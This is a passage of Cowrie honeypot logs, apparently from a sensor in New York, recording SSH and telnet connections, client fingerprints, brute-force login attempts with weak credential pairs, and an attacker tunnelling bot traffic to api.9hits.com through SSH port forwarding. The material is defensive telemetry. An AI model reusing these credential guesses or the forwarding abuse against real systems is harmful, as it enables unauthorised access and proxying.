b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa^\\xcd7\\x13j35\\xa9\\x9a\\xf5\\x95\\\\\\xbd\\xdd/?\\xe3$\\x89_\\xe3\"fZ\\x00]\\x9c\\x84i\\xe8\\x9d \\xdc\\t\\xfeu\\x99\\x824$#(\\xfe0\\xd9y\\xcb\\xe6\\x1c;[\\x12vA\\xef8_\\x83B,\\xfa\\xe27\\xe8\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 `u!\\xb7}\\x12\\xa9v\\xa40D|Pa\\xd7\\x96\\xe3i\\xb8\\x158\\xcd0\\xca\"\\xb4\\xad*\\xb8\\xceL\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:32.817159Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:33.366619Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":46762,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce6d807a8da5","protocol":"ssh","message":"New connection: 182.93.50.90:46762 (159.203.135.109:22) [session: ce6d807a8da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:34.993365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:34.997570Z","src_ip":"182.93.50.90","session":"ce6d807a8da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:35.257493Z","src_ip":"182.93.50.90","session":"ce6d807a8da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.28388738632202,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:35.757778Z","src_ip":"103.249.87.183","session":"b70cbce70075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35106,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc73392242f1","protocol":"ssh","message":"New connection: 91.92.40.36:35106 (159.203.135.109:22) [session: dc73392242f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:36.049436Z"}
{"eventid":"cowrie.login.failed","username":"morteza","password":"123456","message":"login attempt [morteza/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:36.166229Z","src_ip":"182.93.50.90","session":"ce6d807a8da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"4321","message":"login attempt [dspace/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:36.838840Z","src_ip":"91.92.40.36","session":"c857baa706d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:37.385319Z","src_ip":"182.93.50.90","session":"ce6d807a8da5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:37.914460Z","src_ip":"91.92.40.36","session":"dc73392242f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:37.918298Z","src_ip":"91.92.40.36","session":"dc73392242f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:39.490088Z","src_ip":"91.92.40.36","session":"c857baa706d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.1","message":"Connection lost after 29.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:39.767098Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35124,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bb8ecacfe1a","protocol":"ssh","message":"New connection: 91.92.40.36:35124 (159.203.135.109:22) [session: 2bb8ecacfe1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:44.152564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:45.122122Z","src_ip":"91.92.40.36","session":"2bb8ecacfe1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:45.126049Z","src_ip":"91.92.40.36","session":"2bb8ecacfe1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon","message":"login attempt [daemon/daemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:45.505352Z","src_ip":"91.92.40.36","session":"dc73392242f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:48.765713Z","src_ip":"91.92.40.36","session":"dc73392242f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:49.141506Z","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:49.156571Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_7; rv:72.0) Gecko/20100101 Firefox/72.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1172\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=T2klMndvTnRXUj8lNXs5Qw%3D%3DULZy8qJ%2BaB1hUeE5XZodbC10jQ%2Fj6XZWBItoyL0QHD5mgRQnvMyCUgnSll0iKZY6B4zOFYfVjc0nvhYTEA7mV2jv2aMGp6pogC%2FG1cfzsfbh0sONjHaHtrfSKRNt40hmHbENFENP%2F6PwDnV7h%2BQp3LFhCdzLC2KTl3oiK136FQsXSTpZkaMm7lHmVRxCRgkTanIuXdR8SI0RaXcOHw78Rl6nRGu%2BMW6o7lfzAhOqUCV%2FiAkZLIBkShEoRRgHKPrI%2BCjLCbE7UQytSuCTIim%2Bu6tx%2BH9njEEc5tpwOR3irTXIli5sol%2FY0zl0t8QiHh58ubbXbr6yoL3hjHaqdAM6rFKOs6rlzJToKRRkB34yVI6ov9LuWjsUcJjqoFNeH7wXBhMYpOcmOgkayN7xYoY%2FzrcB39uxAJUmtCxzmJ5WpSVow5FAOpvpTDQ1YPKaZRIpmYDQCAQpRkOQSo42%2Fl%2BDzuau0gw8vXWnyDwOmVTyd2TKXWk4N8dzcSFK%2Bs6PEPYUwwnUWh2g%2FX5g%2FwTzV9L5suJE5sdTZ%2F2UQoqMLSUYvLyR1yj8T6fLe4t6uL1AaQOrIq%2FOTGuM0keLtkOJEMh7TSMNQhH1XEpxpS1B53V7uF8NiKP1FrFLX86fUwfHZ6ouV%2Fq9apyxWcyu1unCU2PRVx2oppV95mdwg9nM1jyr6YVKxVCaO9L9AzI3luaiHZyRPQusREEu6SIJ6Jh1y%2BLlZEuy0aGiqgvG3QhgcMgOpKT6ubOAESMrKNWKrec1H8Fct0QrUjMGSZDkkeKvGBtppIhpzeQeYanvnxTPqdHKS1m38NDlEID8679FOMCGKv0YcLTFF%2BXiHO6hic%2Baqw7C6NgsTz1939Hqv4eRdJhu7Sw2AwSTFyrEpU4otw722xjWXYRr9CpEh%2BxMw7Pejnvu2FddbFzcH4AetrCPKaaf9GXzK%2FblKwNtXWWCyRKvsgUiM8PYNZZjVEXBRlFZr7Vto%2F1V9plTkVTJHWpFqdX89OCWVTXuzIP3Pfak8r10SbMIFMKv9WN80WnNrcpOjd5FZH%2Fasg3gcgJW06s1gHqtaE33Ibtz4FpxGJeVG7oAc3kw'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_7; rv:72.0) Gecko/20100101 Firefox/72.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1172\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=T2klMndvTnRXUj8lNXs5Qw%3D%3DULZy8qJ%2BaB1hUeE5XZodbC10jQ%2Fj6XZWBItoyL0QHD5mgRQnvMyCUgnSll0iKZY6B4zOFYfVjc0nvhYTEA7mV2jv2aMGp6pogC%2FG1cfzsfbh0sONjHaHtrfSKRNt40hmHbENFENP%2F6PwDnV7h%2BQp3LFhCdzLC2KTl3oiK136FQsXSTpZkaMm7lHmVRxCRgkTanIuXdR8SI0RaXcOHw78Rl6nRGu%2BMW6o7lfzAhOqUCV%2FiAkZLIBkShEoRRgHKPrI%2BCjLCbE7UQytSuCTIim%2Bu6tx%2BH9njEEc5tpwOR3irTXIli5sol%2FY0zl0t8QiHh58ubbXbr6yoL3hjHaqdAM6rFKOs6rlzJToKRRkB34yVI6ov9LuWjsUcJjqoFNeH7wXBhMYpOcmOgkayN7xYoY%2FzrcB39uxAJUmtCxzmJ5WpSVow5FAOpvpTDQ1YPKaZRIpmYDQCAQpRkOQSo42%2Fl%2BDzuau0gw8vXWnyDwOmVTyd2TKXWk4N8dzcSFK%2Bs6PEPYUwwnUWh2g%2FX5g%2FwTzV9L5suJE5sdTZ%2F2UQoqMLSUYvLyR1yj8T6fLe4t6uL1AaQOrIq%2FOTGuM0keLtkOJEMh7TSMNQhH1XEpxpS1B53V7uF8NiKP1FrFLX86fUwfHZ6ouV%2Fq9apyxWcyu1unCU2PRVx2oppV95mdwg9nM1jyr6YVKxVCaO9L9AzI3luaiHZyRPQusREEu6SIJ6Jh1y%2BLlZEuy0aGiqgvG3QhgcMgOpKT6ubOAESMrKNWKrec1H8Fct0QrUjMGSZDkkeKvGBtppIhpzeQeYanvnxTPqdHKS1m38NDlEID8679FOMCGKv0YcLTFF%2BXiHO6hic%2Baqw7C6NgsTz1939Hqv4eRdJhu7Sw2AwSTFyrEpU4otw722xjWXYRr9CpEh%2BxMw7Pejnvu2FddbFzcH4AetrCPKaaf9GXzK%2FblKwNtXWWCyRKvsgUiM8PYNZZjVEXBRlFZr7Vto%2F1V9plTkVTJHWpFqdX89OCWVTXuzIP3Pfak8r10SbMIFMKv9WN80WnNrcpOjd5FZH%2Fasg3gcgJW06s1gHqtaE33Ibtz4FpxGJeVG7oAc3kw'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:49.160547Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15534,"dst_ip":"159.203.135.109","dst_port":22,"session":"a271d7a38b14","protocol":"ssh","message":"New connection: 91.92.40.36:15534 (159.203.135.109:22) [session: a271d7a38b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:49.416737Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:50.055009Z","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:50.177541Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1a~*\\xab?\\x1bi\\xba\\tZ\\xb40\\xac\\xa0 +D(\\xa1\\xd4\\xcc\\xd3M\\xbe\\x00\\xdc^u\\xf7T\\xd4\\xf4 \\xea-\\x90\\xce`+t\\xbc\\x9a\\x9f\\xc7\\xc1\\x86D\\xb4\\x87/\\xcf78\\x8f r-\\xd1\\xdf\\xe1\\xc1\\xb6\\x1e\"\\x9e\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2YV.\\xe3/\\xa2#\\xfbSU\\xdd\\x7f\\xecI\\x10&\\xff\\x05-\\x0f#1\\xecZ\\xfa\\xb0o\\xe0\\xe3\\xc3)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1a~*\\xab?\\x1bi\\xba\\tZ\\xb40\\xac\\xa0 +D(\\xa1\\xd4\\xcc\\xd3M\\xbe\\x00\\xdc^u\\xf7T\\xd4\\xf4 \\xea-\\x90\\xce`+t\\xbc\\x9a\\x9f\\xc7\\xc1\\x86D\\xb4\\x87/\\xcf78\\x8f r-\\xd1\\xdf\\xe1\\xc1\\xb6\\x1e\"\\x9e\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 